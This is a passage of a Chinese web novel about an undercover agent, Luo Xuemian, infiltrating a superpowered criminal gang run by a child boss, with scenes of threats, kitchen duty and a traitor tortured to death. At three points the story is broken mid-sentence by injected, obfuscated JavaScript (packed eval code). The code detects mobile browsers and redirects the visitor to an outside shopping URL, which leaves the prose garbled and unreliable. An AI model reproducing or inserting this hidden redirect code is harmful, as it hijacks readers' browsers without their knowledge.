竟然是一条细长的黑红相间的毒蛇! 洛雪眠皱眉,瞬间明白了刚才的不适感从何而来。原来是这条蛇不怕死地爬到了她身上,出于自保的本能,她在尚未清醒的情况下,下意识伸手掐住了蛇的七寸,把蛇从身上扯了下来。 前方忽然传来了一道嘶哑森寒的男声。 “放开它。” 洛雪眠抬眼望去,一个浑身散发着冷意的阴郁男正站在她的不远处,半张脸掩映在黑暗中,眼神阴鸷。 她挑了下眉,把蛇随手朝男人扔了过去。 男人身上穿了件黑色背心,花花绿绿的纹身从肩膀蔓延到整条胳膊上,其中脖颈位置的刺青最醒目,是一个独特的黑色蛛网图案。 洛雪眠的视线只在上面停留了一秒,便不动声色收回。她扯了扯扣在手腕上的沉重铁锁,神情镇定自若:“什么意思?无冤无仇的,你们绑我做什么?” “呵,好一个无冤无仇。” 男人冷笑,缠绕在他脖颈上的毒蛇也跟着嘶吼,一双幽绿的竖瞳冰冷危险地盯着她,蓄势待发仿佛下一秒就会扑过去咬死她。 男人安抚似地摸了摸蛇的脑袋,把玩着手里的枪,皮笑肉不笑阴恻恻提醒:“你他妈该不会是忘了,那条被你弄死的花蛇吧。” “……”洛雪眠眼睛微眯,猛然想起了前几天被她砸死在雪地里的那条蛇兄。 她心里隐隐有了一个猜测,恐怕那条花蛇是个有对象的,现在这条红蛇正好是它的配偶,所以才会趁她昏迷时伺机报复,想要她的命。 好家伙,一不小心捅了蛇窝。 男人缓缓举起枪,把枪口对准了洛雪眠的脑袋,舌尖舔了舔唇瓣,笑得恶劣:“小娘们儿,你弄死了老子最心爱的宠物,一命偿一命,不过分吧?” 洛雪眠直视男人扣动扳机的动作,一言不发,眸色冷冽,脸上毫无怯意。 就在子弹即将射出的前一秒,一道稚嫩带着威严的嗓音突然出现,喝止了男人的行为。 “蛇四,退下,你吓到我们的客人了。” 听到这个声音,洛雪眠不可避免地愣了一下,她抿着唇,望向了门口。 门口出现了一高一矮两道身影,高大魁梧浑身腱子肉的男人像一堵墙似的挡住了门口的光线,他的左肩上稳稳坐着一个小男孩。 小男孩换了一身新的黑色背带裤,嘴里咬了根棒棒糖,眉眼弯起,居高临下俯视被锁在地上的洛雪眠,眼神天真无邪,笑嘻嘻问:“漂亮姐姐,见到我你好像一点也不惊讶?” “……”生平第一次看走了眼,还不小心着了人家的道,洛雪眠无话可说,低头认命地数起了地上的砖块,打算眼不见心不烦。 小男孩却是个乐天派加自来熟。完全没有因为洛雪眠的冷落和不搭理而生气,表现得十分热情,开始自言自语起来。 “我很久没有这么兴奋了,嘻嘻,漂亮姐姐,你都不知道你的到来让我多高兴。” 小男孩说着,忽然想起来还没有向洛雪眠介绍自己,歪头笑着说:“不好意思,都忘记跟你介绍一下了……你好呀,漂亮姐姐,我叫哈里,欢迎你加入我们。” 加入…… 洛雪眠眼睫动了动,眸中闪过一抹不易察觉的喜色,嘴角翘起极小的弧度。但抬头的瞬间却换上了惊诧的表情,装作不解的样子,皱眉三连问: “加入什么?你们到底是干什么的?把我绑到这里来目的又是什么?” 哈里脸上依然挂着无害的笑容,耐着性子轻声解释: “漂亮姐姐,我们是干什么的一点也不重要哦,我听别人提起过你,对你可是非常感兴趣呢,本来我让手底下的两个蠢货去国际监狱接你来着,没想到你却自己先跑出去了,真是个机灵鬼。为了找到你,我们可真是废了一番功夫呢,所以——” “你没得选了。”哈里话锋一转,状似无辜地耸了耸肩,语气里却多了几分威胁,声调变沉,不容置喙道:“如果你不加入我们,可就只有死路一条哦。” 说完,哈里看向了蛇四,微抬下颌,命令道:“去把开关打开。” 蛇四心里本来憋着一股邪火没处发泄,但又不敢违抗哈里的命令,只能咬牙不情不愿地退到一边,拉下了墙上的一个手柄开关。 中间两块原本闭合的地砖发出了一声轻响,朝两边缓缓张开,地砖之下是一个深坑,从里面传来了一阵如潮水般的嘶鸣声。 视线往下看,只见密密麻麻数不清的毒蛇从黑暗中现身,纷纷睁着一双猩红的眼睛,争先恐后伸长脖子朝上方张望。 这场景任谁见了都会头皮发麻,当场密集恐惧症发作。 哈里露出一颗可爱的小尖牙,转头看向洛雪眠,笑着继续威胁:“漂亮姐姐,这些小东西可都是饿了很久呢,我真不想看到你被蛇吃掉的样子。” 洛雪眠:“……” 老天,幸福来得太突然,她得缓缓。 洛雪眠本来还在寻思着,要怎么做才能让这帮人放下戒心,把她“收纳”进来,没成想这黑老大是个纯天然小傻der,上赶着引狼入室。 不能将窃喜表现得太明显,洛雪眠强压下欲翘起的嘴角,戏精上线,摆出一副被逼无奈的模样,然后又状似畏惧地瞄了眼下方的蛇坑,迟疑着问:“加入你们……我什么好处?” 哈里见洛雪眠终于上道,欣喜地解开自己胸前的衣扣,向她展示胸口上的蛛网纹身,眉飞色舞说:“加入我们的好处太多了,比如你将拥有把这个神圣的图案纹在身上的权利,想纹在哪里都可以哦。” “……”洛雪眠嘴角抽了抽。 大可不必。 对于洛雪眠入伙这件事,显然有人持反对意见,蛇四不满地跳出来,大声阻止:“老大,这女的一看就不对劲儿,咱们不能……” “蛇四,你话太多了。”哈里打断他,像是变了一个人,脸色蓦地沉了下来,周身萦绕着森寒的气息,眼中闪过一丝不悦。 蛇四似乎对哈里颇为忌惮,后半句话卡在了喉咙里,不敢再多言,只能捏紧拳头愤懑退回了角落里。 然而,当哈里转头看向洛雪眠的时候,身上的戾气却瞬间消失得无影无踪,脸上堆满无害的笑:“怎么样?你考虑好了没?” 洛雪眠将两人的异常尽收眼底,无所谓地说:“我可以加入你们……但事先声明,我是不会同意把这玩意纹在身上的。”她语速飞快地补充。 哈里对此深感遗憾,但很快换上了一副兴奋不已的表情,激动道:“那么,为了表示你自愿加入我们,让我们开始进行新成员入伙后都必须要做的一件事吧。” 洛雪眠皱眉:“什么?” 哈里:“当然是改名字啦,你放心,我最擅长给人取名字了,他们几个的名字都是我想出来的呢。” 呵呵,看出来了。 哈里托腮打量洛雪眠,思考了会儿,灵机一动,说:“Paige?你觉得怎么样?” 洛雪眠脑海里立马浮现了某种粉红色动物,她果断摇头:“我拒绝。” “那……Ruth?” “不喜欢。” “Mary?” “没新意。” “喵喵,或者……咩咩?” 洛雪眠翻了个白眼:“你有病。” 哈里生气了,他鼓着腮帮子,不满道:“这也不行那也不行,明明我才是老大!” 最后,他一锤定音,态度强硬地说:“我决定了,以后就叫你小狐狸,一点也不乖的小狐狸,哼。” 洛雪眠:“……” 好吧,没想到卧底才第一天,她就痛失了本名。 ** 阴暗潮湿的走道里,洛雪眠跟在一个叫熊三的男人后面,她并不知道自己要被带到哪里,但从四周斑驳龟裂的墙壁,渗水的天花板以及前方刮来的阵阵阴风,可以判断她现在所处的位置是在地下室。 地下室的廊道众多,错综复杂,再加上四周的环境相差无几,稍不留神就很容易在这地下迷宫里迷路而走不出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253964|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛雪眠边走边暗暗记下路线,就这么七拐八绕走了半天,一个大致的路线图已经在脑海中形成。 熊三是个闷葫芦,顶着张棺材脸,一路上都沉默寡言,不管洛雪眠怎么找话题,试图从他嘴里打探点消息,他都是闭口不谈,无奈只能放弃。 两人又走了一段路,拐过一个拐角,来到一扇黑色铁门前。 “到了。” 熊三说完把门推开,一股呛人的油烟味扑面而来,洛雪眠皱眉,用袖子遮住口鼻,目光往屋里探去。 屋子不大不小,里面锅碗瓢盆,柴米油盐酱醋一应俱全,还有各种新鲜瓜果蔬菜和肉类,俨然是一个小厨房。 厨房的灶台旁边,一个驼背老大爷正在慢吞吞地刷锅,刷着刷着,眼皮渐渐下滑,动作也越来越慢,就在快要合上眼的时候,熊二适时咳嗽了一声。听到动静,老大爷打了个激灵,缓慢转动脑袋往门口这边看了一眼。 熊三带着洛雪眠走进去,跟老大爷打招呼:“老树懒,人带来了。” 老树懒反应很迟缓,慢了好几拍才理解熊三的意思,缓慢转动眼珠在洛雪眠身上逡巡了一圈,半晌过后,才慢腾腾点头,说话的腔调也是慢悠悠的。 “不~错,是个~好~苗~子。” 洛雪眠:“……” 这老大爷还真是人如其名。 “人就交给你了,你慢慢教。”熊三说。 嗯?什么意思?! 洛雪眠眉心一跳,心里忽然升起一种不好的预感。 接下来就听熊三沉声说:“我们每个新入伙的成员都会有三个月的考核期,老大交代了,你接下来三个月的考核任务就是帮老树懒做饭,只有通过了考核才算正式加入我们。” “……” 洛雪眠无语凝噎,你们一个反/社会/反/人类/性质的组织这么有规章制度真的好吗?!居然还整出个劳什子的考核期?! 但这还不是让她最震惊的,更刷新她认知的事还在后面等着她。 只见熊三从墙角的一堆破烂里面翻出了一个老旧收音机,拍了拍上面的灰尘,调节了一下按钮,放了一首差点惊掉她下巴的《小鸡小鸡》。 …… 在音乐的洗礼下,短短的三分多钟变得无比漫长,简直是洛雪眠卧底生涯的至暗时刻。 充满动感节奏的魔性音乐铆足了劲儿,十分嗨皮地往她耳朵里钻,震得她的脑袋嗡嗡响,激起一层鸡皮疙瘩,头晕眼花间恍惚听见了熊三在冲她大喊。 “这是咱们的入伙歌,你好好学,过几天老大要检查的!” “……” 洛雪眠觉得自己幻听了,至少此刻她希望自己是聋的。 不是吧?! 洛雪眠内心抓狂。 她就想安安分分老老实实当个卧底,这么就这么难呢?摊上了这么个奇葩的犯罪团伙!搞个莫名其妙的考核期也就算了,才刚来第一天就布置作业,还是一个难度系数高到根本不可能完成的作业,这简直是太过分了啊啊啊!!! 饶是洛雪眠记忆力惊人,一曲结束,她也只勉强记住了几个关键词而已,如同被洗脑了般,一直在她脑子里面循环蹦跶——小鸡,母鸡,公鸡……咕咕day?! 洛雪眠甩了甩脑袋,从这令人上头的旋律里挣脱出来,表情欲言又止,最后,她还是没有忍住,迟疑问道:“你们老大,很喜欢……鸡?” 熊三摇头:“我们老大不是喜欢鸡,是喜欢吃鸡。对了,你会做/炸/鸡/吧?这是老大每周必点的一道菜。” “……” 熊三好心提醒:“你抓紧时间学歌吧,唱不好老大是要罚人的。”说着,把收音机塞到洛雪眠怀里,叮嘱:“你调个时间,把这首歌当闹铃,早上多听几遍就会了。” 又是一段漫长的沉默。 直到熊三离开小厨房,洛雪眠才回过神来,她盯着手里的破烂收音机,又环顾了一圈脏乱的厨房,最后视线定格在拿着把菜刀切菜却昏昏欲睡的老树懒身上。 洛雪眠深吸口气,努力保持镇定。 不行,这次的任务难度严重超标,回去后得跟司无枫那家伙再商量商量,不管怎么样都得再讹些好处才对得起她这么大的牺牲。 卧底第一天,她的精神状态堪忧啊啊啊—— 8. 小白脸 洛雪眠上岗的第一天,老树懒让她展示一下自己的厨艺。 于是,伴随着一阵噼里啪啦的响声,洛雪眠在摔碎了三个碗,打烂了两个盘,报废了一口锅,捣鼓了两个多小时后,终于把一锅像模像样的粥端上了桌。 老树懒望着眼前蓝得发绿的紫薯粥,半晌没敢动。 最后,他无奈叹了口气,缓缓起身,拖着沉重的步伐蜗牛似地挪到一个铁柜旁,从里面拿出了一个小巧的金属恒温箱,费了半天劲才把箱子打开,从里面取出了最后一管组装好的注射针剂。 洛雪眠站在老树懒身后,偏头瞥了眼注射针管,上面没有贴任何商标,也没有任何文字说明,看着像是三无产品,但里面绿莹莹的液体有些眼熟。 没等她细想,老树懒已经拉起袖子,把针头扎进了血管里。等液体被注射完,老树懒咳嗽了几声,仿佛枯木逢春般焕发出了新的生机,整个人都变得精神抖擞起来,不但说话清晰利索了,行动也不再迟缓。 “老毛病了。”见洛雪眠盯着自己手里的注射针管眼都不眨,老树懒随口解释了下,然后从菜篮里面捡了个柠檬切开,走到饭桌旁,一边往锅里面挤柠檬汁,一边捏着汤勺不断搅动。 神奇的一幕发生了,原本蓝得瘆人的紫薯粥加入柠檬汁后变成了漂亮诱人的紫红色。 “厉害呀,老树懒。”洛雪眠眼睛一亮,在做饭这方面她是纯小白,不由得鼓掌夸赞了下,好奇请教:“这是什么原理?” “这你得问小白脸,是他教我的。”老树懒说。 “……小白脸?” 这都是些什么乱七八糟的称呼呀。 “他是我们这里的医生,今天刚好不在,等他回来你就见着了。”老树懒说着递给了洛雪眠一本菜谱,嘱咐她要好好看认真学,然后拎着已经打包好的饭菜出门给哈里他们送饭去了。 老树懒走后,洛雪眠懒洋洋翻了几页菜谱,便不感兴趣地丢到了一边,她走到了垃圾桶旁,捏着鼻子从里边翻出了刚才老树懒注射完的针管,里面还有几滴残留的绿色液体。 从老树懒异于常人迟钝的反应和动作,以及方才他注射了药剂的前后反差来看,她基本能够断定,老树懒应该也是个异能者,而且还患上了分化缺陷。 在这个世界上,异能者一般会在七岁的时候觉醒异能,其中有少部分人会在觉醒的过程中出岔子,就像不明原因且不受控制的基因突变一样,不幸地患上各种各样的“怪病”,比如刘忙的嗜吃如命,还有现在老树懒的“慢动症”。 目前治疗分化缺陷的药物只有SB药剂,所以注射针管里面的液体肯定就是这个。但SB药剂的治疗具有局限性,需要每隔一段时间不间断地注射,一旦停止,很快失效。 SB药剂的造价十分昂贵,一支的价格就高达十几万美金,更何况还需要终身注射,出身普通的异能者根本消费不起。从老树懒打着补丁的穿着以及格外节俭的行为来看,他注射的SB药剂肯定来路不明。 司无枫说过,天子大楼被撞毁的原因就是暗网想要销毁掉当时正在进行拍卖的一批SB药剂。 这支药剂和天子大楼里被销毁的会是同一批吗? 洛雪眠盯着手里的注射针管,沉思良久,而后,她找了快干净的布裹了几层把针管包好,打算寻个机会送出去让人检验一下成分,也许会有意外收获。 刚把东西收好,外边走廊传来了一阵轻微的脚步声,洛雪眠不动声色闪身回到餐桌旁,捡起菜谱装模作样地研究了起来。 侯六推门进来的时候,看到的就是打着哈欠百无聊赖翻菜谱的洛雪眠。 见到来人,洛雪眠挑了挑眉,单手托腮,毫不意外地跟他打招呼:“哈喽,小猴子,咱们又见面了。” 侯六的身高跟洛雪眠差不多,肤色偏小麦色,金棕色的短发下藏着一对圆尖的精灵耳,眼窝很深,一双黑葡萄似的乌黑大眼嵌在上面,偶尔会给人一种特别无辜可怜的错觉。 洛雪眠忽然来了兴趣,她身体略微前倾,盯着侯六,一点也不见外,歪头笑眯眯问:“哎,你的异能属性是什么?” 异能属性,就是异能者的分化特性。可大致分为生物系、元素系、控制系、精神系、空间系,以及传说中的神灵系。 不同的属性会分化出不同的异能,展现出不同的特殊技能,比如异能属性是生物系中的植物类的话,通常会分化出关于治疗和种植方面的异能。 侯六被问得有点懵,但洛雪眠的长相极具欺骗性,让人生不出防备,他犹豫了会儿,还是老实回答:“猴子。” 洛雪眠听后“噗呲”一笑,心说果然如此。 自从全球异化开始,异能者的异能大多具有遗传性,在经过漫长的繁衍演变后,异能者的长相逐渐受其异能属性影响,会呈现出某些特殊的外貌特征,这一点在生物系的异能者身上尤为明显。 侯六的长相配上此刻的小表情,怎么看都像一只毛茸茸受了欺负可怜巴巴的小奶猴。 “谁欺负你了?”洛雪眠问。 侯六不自然地低头,把遍布青紫伤痕的手臂背到身后,抿唇不语。 洛雪眠也没有再追问,换了一个话题:“找我有什么事?” “老大让我带你熟悉一下环境。” 洛雪眠听到这话愣了下,她原本以为这帮人会提防她这个“新人”一段时间,本来还打算等到晚上夜深人静的时候再偷溜出去打探一下,没想到机会这么快就送上门来了。 ……这也太信任她了吧? “走吧。”洛雪眠不做他想,这正好合了她的意,起身出门,跟着侯六往来时相反的方向走,边走边打量四周。 走廊的光线很昏暗,但还是能感觉到两边墙壁的间距在逐渐拉宽,再往前走了一段路,视野变得开阔起来。 洛雪眠瞥了眼沉默寡言走在前头带路的侯六,状似不经意地闲聊: “当个普通人不好吗?干什么非要加入恐怖组织?” 她看得分明,侯六跟蛇四他们压根就不是一路人,像他这种年纪的小男生,就应该安安稳稳待在大学里接受课业与生活的双重摧残,而不是在这里过着违反犯罪刀口舔血的日子。 侯六脚步顿了下,冷淡的声音从前方传过来:“知道太多对你并没有好处。” “呀,小猴子你是在关心我么?可是你这么说反而让我更好奇了。”洛雪眠调笑着,还要再追问,旁边路过的一道高大黑门吸引了她的注意。 这道门的材质很特殊,造价应该不菲,单从外观就能看得出来坚硬无比。丝丝缕缕的寒气从极其细小的门缝里不断溢出,还掺杂着一丝不易察觉若有似无的血腥气。 “这是什么地方?”洛雪眠眸光微动,忽然停下脚步,站在门口问。 “实验室。”侯六也看了一眼紧闭的大门,低声提醒:“别看了,除了老大和小白脸,其他人都不让进。” “哦。”洛雪眠应了一声,若有所思地扫了一眼门上的电子密码锁,没再多问抬脚继续往前走。 侯六带着洛雪眠把地下室都走了一遍,一个完整的路线图在她脑海中划上了最后一笔。 “你的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253965|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间在这。”侯六指着面前一扇花花绿绿满是涂鸦的门说道。 洛雪眠的目光落在了门把手上,表情变得一言难尽。只见上边用透明胶布粘贴了一只黄澄澄的尖叫鸡玩具,用脚趾头想都知道这是谁的杰作。 一人一鸡正互相瞪着大眼对视。 侯六觉得这场景莫名儿有点滑稽,嘴角翘起一丝细微的弧度,忍笑解释:“这是老大特意为你准备的房间,他说你一定会喜欢。” 洛雪眠:“……” 喜欢你个大头鬼,幼稚。 洛雪眠深吸口气,反复告诫自己千万不要跟一个大脑尚未完全发育的学龄前儿童计较像名字呀房间呀之类的身外之物。 不然容易心梗。 她伸手把尖叫鸡拆下来,无聊地拿在手里捏了捏,尖锐的鸡鸣声响起,眼角余光忽然瞥到旁边还有一间房,房门紧闭,她抬了抬下巴,挑剔道: “旁边那间又是谁的房间?要是个喜欢大半夜制造噪音的家伙我可不愿意住在这里。” 洛雪眠近几年的睡眠质量奇差无比,稍微有点动静就会睡不着,所以在国际监狱这种鼾声如雷的地方失眠如家常便饭,经常睁眼到天亮。 “小白脸的。”侯六说,“你放心,他这个人喜静,又经常待在实验室很少回来,你们应该碰不到几次面。” ……实验室。 这也太凑巧了吧,她正愁着没机会跟那位“小白脸”认识呢,没成想这人居然就住在她隔壁,还真是天赐良机。 洛雪眠心中暗喜,不由得多看了两眼隔壁。 目送侯六离开后,洛雪眠推开眼前的房门走进去,见房间里面并没有放什么稀奇古怪的东西,也没有花里胡哨的儿童涂鸦,暗暗松了口气。 房间不大,环视一圈,布局有点类似她从前跟部队出任务的时候住过的城中村单间,进门左手边是张木板床,上面简单铺了层棉被,除了一张办公桌和一个立式衣柜,没有多余的家具。 再往里走是一个洗浴间,墙上安装了一面半身镜,洛雪眠对着镜子看了一眼,目光在左眼的黑色眼罩上停留了几秒,随后伸手,掀开眼罩的一角,从里面取下了一个薄片似的特制微型针孔摄像头。 这是那天洛雪眠离开监狱长办公室的时候,魏白拿给她的,目的是让她暗中把犯罪团伙的犯罪过程拍摄下来,好作为日后开庭审判时的呈堂证据。 洛雪眠捏着摄像头端详了会儿,抿唇思考接下来的行动和目标。 刚才路过的那间实验室看着十分蹊跷,或许藏着什么不可告人的秘密,必须得尽快找个机会去探个究竟才行。 可门上有电子密码锁,要怎么样才能不惊动所有人拿到密码并成功潜入呢? 洛雪眠沉思良久,暂时没有想到很好的办法,不过当务之急,是要先跟其他人搞好关系,尽快熟络起来。 可她要是每天都只能待在厨房里,跟其他人碰面的机会就不大。 想到这里,她不由得叹了口气。 唉…… 佛祖,上帝,阿门,阿弥陀佛,请宽恕她吧,她也是被逼无奈的,一切都是为了完成任务。 隔天,小厨房传来了老树懒不慎滑倒闪到腰只能卧床休养一段时间的消息,洛雪眠也理所应当地接替了老树懒接下来的所有工作,包括送饭。 小厨房里,洛雪眠像模像样套了个围裙,站在一堆食材面前,开始犯难起来,菜谱上写的每一个字她都认识,甚至每一道菜她都有幸品尝过,但是脑子记住了却不代表手会了。 她还是不会做呀呜呜呜X﹏X 9. 魔术师 洛雪眠纠结了会儿,决定还是做些稍微简单的菜先应付过去。 她翻开冰箱,从冷藏柜里拿了几根绿豆味的雪糕,丢进锅里,加水后开火煮化,一锅像是被稀释过的绿豆粥就煮好了。 然后,她又拎了只拔好毛的肉/鸡甩到刀板上,闭着眼睛手起刀落把鸡大卸八块,又找了些花椒木耳蘑菇红枣之类的食材,连带着处理好的鸡肉一锅炖了。 乒铃乓啷折腾了一上午,洛雪眠把最后的劳动成果分装好放进篮子里,拎着出门打算挨个送饭。 她来到的第一个房间是侯六的房间,刚要抬手敲门,门就从里面被打开了。 侯六倚在门口,穿戴整齐一副已经等候多时的模样。 洛雪眠有些诧异,问他:“你早知道我会来?” “嗯。”侯六点头,指了指自己耳朵,坦诚道:“我的异能是顺风耳,所以听力比一般人要强些,刚才听到了你的脚步声。” 洛雪眠把盒饭递给他,打趣道:“那你晚上睡觉的时候岂不是会很吵?” “习惯了。”侯六接过盒饭,瞥了眼洛雪眠的表情,见她神色如常,迟疑了下,没忍住问:“你……不觉得我的异能……很没有用吗?” 洛雪眠讶异挑眉,似乎不理解他为什么会有这么荒唐的想法,微笑着说: “这叫什么话,什么叫有用什么叫没用?难道只有厉害的才能叫有用,不厉害的就是没有用了吗?这样也太武断了。你的异能有没有用,不应该是别人来评判,而是你自己说了算才对呀。” 末了,她还补了一句:“自信点,你也很棒的。” 听到这话,侯六的心不受控地颤了下。 在他过去的十九年生命里,除了他的母亲,从来没有人跟他说过这样的话。 在其他人的眼中,他的异能从来都是一无是处,似乎只能用在窥听和监视这样不光彩的事情上,所以这些人看向他的眼神往往都是带着嘲讽与轻视。甚至连他的亲生父亲也觉得他是个没用的废物,视他为耻辱,他的存在毫无价值,只会给家族蒙羞。 “好了,先不聊了,我还要送饭呢。” 洛雪眠不经意地瞥了眼侯六攥紧的手指,装作没有察觉到少年的异样,指了指手里拎着的饭菜,抬脚正要去敲另一个人的房门。 “等等。”侯六叫住了她,“其他人都不在房间里。” 洛雪眠回头,疑惑地看着他:“那他们去哪里了?” 该不会是在进行什么危害社会的集体行动吧? “你跟我来。”侯六犹豫了会儿,还是决定带洛雪眠去找其他人。 两人绕了一段路,转过了几个拐角,停在了一间简陋的会议室门前。 有男人凄厉的惨叫声从紧闭的大门里传出来,一声接着一声,像是正在经历着什么非人的折磨,声音饱含痛不欲生的痛苦。 洛雪眠站在门口,眉头轻蹙,她抬手就要推开门进去,却被侯六伸手制止。 侯六冲她摇了摇头,眼神示意她先不要轻举妄动。洛雪眠心领神会,犹豫了会儿收回手,两人屏气凝神听着会议室里的动静。 过了一会儿,男人的喊叫声渐渐减弱,一个陌生的年轻男人嗓音传了出来。 “真是无趣,这么不经玩儿。” 会议室里,一个头戴黑色高顶帽,一身魔术师装扮的男人翘着腿坐在会议桌面上,居高临下不屑地注视着脚底下瘫软成一摊烂泥的中年男人。 男人已经气若游丝,衣衫破烂不堪,身上遍布大大小小数不清的划痕,殷红的鲜血不断从伤口中渗出,疼得浑身抽搐,蜷缩在地上已经快人事不省。 哈里双手托腮坐在魔术师的正对面,晃荡着腿全程微笑着欣赏叛徒被魔术师惩罚的全过程。 等到地上的人完全咽气后,魔术师才慢悠悠起身,状似怜悯地抽出黑西装胸前口袋里装饰用的丝巾,慢条斯理摊开盖在了男人的脸上,默哀了几秒。 “上帝怜悯你,安息吧。” “切。”哈里轻嗤一声,对男人的装模做样很是鄙夷,“潘多拉,你今天又玩什么花样,打扮成这副鬼样子是打算去马戏团表演吗?” 潘多拉闻言回头,他的脸上画着诡异滑稽的妆容,一边脸涂抹成了黑色,一边脸涂抹成了白色,眼周和唇周用黑色晕染开,咧嘴笑着的时候会给人一种毛骨悚然的阴森寒意。 “小鬼。”潘多拉盯着哈里,不怀好意地说:“你可长点心吧,这次是恰好被我撞见这家伙跟警察碰面,不然你就等着被国际刑警那帮杂碎一锅端了吧,到时候被吓得哇哇大哭可没有人拿糖哄你。” 哈里冷哼一声,不以为意。 他的目光落在了一个坐在角落里锦衣华服的中年男人身上,像是终于想起来有这么一个人的存在,眯眼瞅着他,不爽道:“老东西,我又没有邀请你,你来这里做什么?难不成这个叛徒是你指使的?” 男人年近五十,名叫陈良,是一家大型跨国药企的老板。他瞥了眼地上的尸体,惋惜地叹了口气,随后摊手辩解:“老汪虽然跟了我许多年,知道的事情也不少,但是你不应该怀疑我对暗网的忠诚,别忘了我的儿子还在你们的手里。” “那你来我这里做什么,难不成是来蹭饭的?”哈里孩子气地挑眉问他。 陈良被噎了下,没有再理会哈里奇怪的脑回路,他的目光转向了更有话语权的魔术师身上,提醒道: “潘多拉先生,我来是想告诉你们,工厂那边的原料已经快消耗完了,必须尽快把新的原料送过来,否则生产停工造成了损失,上边的人可是要怪罪的。” “你催我也没用。”魔术师把玩着手里的一副扑克牌,摇头叹息说:“我们的人传来消息,最近几个港口都被国际刑警盯得死死的,他们派了大批的人不分昼夜守在那里,想从他们眼皮子底下运东西几乎不可能。” “那是你们该考虑的事情,我们只是合作关系,况且我这边只管生产,如果因为原料没有及时送过来而导致货物出了问题,我这边一概不负责。”陈良语气不善地强调。 “哦?这样呀……” 魔术师嘴角一勾,手指摩挲着手里的纸牌,眼神晦暗不明,下一秒,一张夹杂着劲风的扑克牌径直擦着陈良的耳朵飞过,深深插进了他身后的墙壁上。 “跟我说话的态度麻烦注意点,不然下次削掉的可就是你的脑袋了。”魔术师舔唇笑道。 陈良喉结滚动,脸色僵硬,但只能竭力忍下心中的不满。毕竟这些人实力都不容小觑,也不会跟你讲什么道理,他们只认可强者为尊。 陈良不过是个C级异能者,在这帮恐怖分子眼中弱得跟碾死一只蚂蚁一样容易,根本惹不起。 洛雪眠站在门外,一边听着里面的人说话,一边时不时瞥一眼身旁的侯六,她注意到从那个中年男人说话开始,侯六的表情就变了,一直在低着头失神地发呆。 眼看着里面的人就要结束话题出来,洛雪眠觉得不能让这些人发现她和侯六在偷听,正要拉着侯六神不知鬼不觉地离开。 下一瞬,数张扑克牌从弹开的大门里面飞出,洛雪眠神情一凛,反应极快将侯六推开,敏捷闪躲,手指迅速翻转夹住朝自己袭来的扑克牌。 魔术师率先从会议室里走出来,他饶有兴趣地盯着洛雪眠,夸赞道:“身手不错嘛,小东西。” 洛雪眠随意地将手指间夹着的扑克牌抽出来叠放在一起,轻松回道:“哪里哪里,也就一般身手。” 魔术师哼笑一声,不置可否,他若有所思看了眼抿唇不语的侯六,对着洛雪眠话锋一转,“不过,你们在外面听了这么久,怎么也不进来坐坐呢?” 洛雪眠脸上神情镇定自若,丝毫没有偷听被发现的慌乱,她把手里拎着的篮子往众人眼前提了提,笑着说:“听什么?别误会哈,我就是来送个饭而已。” 哈里从魔术师身后探出半个脑袋,看到饭菜,好奇问:“小狐狸,你今天做了什么菜?好吃吗?” 洛雪眠低头瞥了眼篮子里洒了些汤水出来的鸡汤,抬头自信回答:“当然了,今天的菜是小鸡炖蘑菇。” “哇哦。”哈里兴奋地叫了一声,迈着小短腿跑过来接过菜篮,护食般地抱在怀里,回头瞥了眼魔术师和陈良,催促道:“该说的都说完了,你们快走吧,我这里不留饭。” “呵。”魔术师轻笑一声,眼神在洛雪眠身上徘徊,意味深长地问:“小鬼,这就是你新收的人?看着不简单啊。要不我先带走玩两天再还你。” 哈里听到这话,两条细眉拧在一起,不满地看着魔术师,警告道:“潘多拉,她是从国际监狱里越狱出来的,跟我们一样都是被国际刑警通缉的头号罪犯,我劝你少打她的注意,不然别怪我翻脸。” 魔术师满不在乎地耸了耸肩,路过洛雪眠的时候朝她伸出了手,绅士笑道:“自我介绍一下,我叫潘多拉,刚才多有冒犯,可以把你手里的牌还给我吗?” 洛雪眠不动声色打量了魔术师一眼,把扑克牌递给他,嘴角微弯:“潘多拉?这名字有意思,一般寓意着给人带来灾祸和苦难。” “这你可真是冤枉我了。”魔术师接过扑克牌,声音含笑,“我就是一个会点杂耍的魔术师而已。” 说着,他掀起身后的黑斗篷把自己的身体一裹,不待众人反应,瞬息间便消失在了原地,只留下了一句渐行渐远的话。 “期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253966|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待下次的见面,小东西。” 陈良看了在场的人一眼,也不打算再久留,离开经过侯六的时候冷哼了一声,目不斜视径直从他身边走过。侯六的嘴唇动了动,低头沉默不语,只是把拳头捏得死紧。 